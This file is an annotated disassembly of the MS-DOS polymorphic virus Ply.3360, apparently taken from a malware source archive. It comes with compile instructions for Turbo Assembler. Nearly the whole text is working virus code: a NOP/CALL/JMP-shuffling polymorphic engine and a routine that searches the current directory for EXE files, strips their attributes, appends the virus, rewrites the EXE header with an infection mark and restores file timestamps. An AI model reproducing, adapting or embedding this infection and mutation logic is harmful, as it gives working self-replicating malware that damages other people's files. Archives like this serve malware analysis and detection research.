MalwareSourceCode/MSDOS/P-Index/Virus.MSDOS.Unknown.ply_3360.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

837 lines
22 KiB
NASM

comment *
Ply.3360
Disassembly by
Darkman/VLAD
Ply.3360 is a 3360 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.3360 is polymorphic in file using its internal
polymorphic engine.
To compile Ply.3360 with Turbo Assembler v 4.0 type:
TASM /m PLY_3360.ASM
TLINK /t /x PLY_3360.OBJ
*
.model tiny
.code
org 100h ; Origin of Ply.3360
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop
sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop
lea si,code_begin ; SI = offset of code_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
and al,00000111b ; AL = random number between zero ...
nop
push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop
cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop
mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop
mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop
mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp prepare_exit
nop
get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop
mov ax,di ; AX = 16-bit random number within...
nop
add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop
mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop
mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop
mov ah,4eh ; Find first matching file
nop
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop
find_next:
int 21h
nop
jnc open_file ; No error? Jump to open_file
nop
jmp virus_exit
open_file:
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,'ZM' ; EXE signature
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_find_nxt:
mov ah,4fh ; Find next matching file
nop
jmp find_next
nop
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
nop
mov ax,4301h ; Set file attributes
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,3d02h ; Open file (read/write)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ah,40h ; Write to file
nop
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop
mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop
sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment
lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],dx ; Store delta offset
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov ax,(code_end-code_begin+100h)
add dx,ax ; DX = stack pointer
nop
mov [si+10h],dx ; Store stack pointer
mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop
mov ah,40h ; Write to file
nop
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ah,40h ; Write to file
nop
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop
mov ax,5701h ; Set file's date and time
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,4301h ; Set file attributes
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ah,4fh ; Find next matching file
nop
jmp find_next
virus_exit:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop
mov ax,bx ; AX = " " " " " "
nop
add ax,10h ; AX = segment of beginning of code
lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop
add [si+02h],ax ; Add segment of beginning of code...
add ax,[si+04h] ; Add original stack segment to se...
cli ; Clear interrupt-enable flag
nop
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,ax ; SS = stack segment
sti ; Set interrupt-enable flag
mov ds,bx ; DS = segment of PSP for current ...
db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
db 00h
file_specifi db '????????.EXE',00h ; File specification
db 00h,00h
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:
end code_begin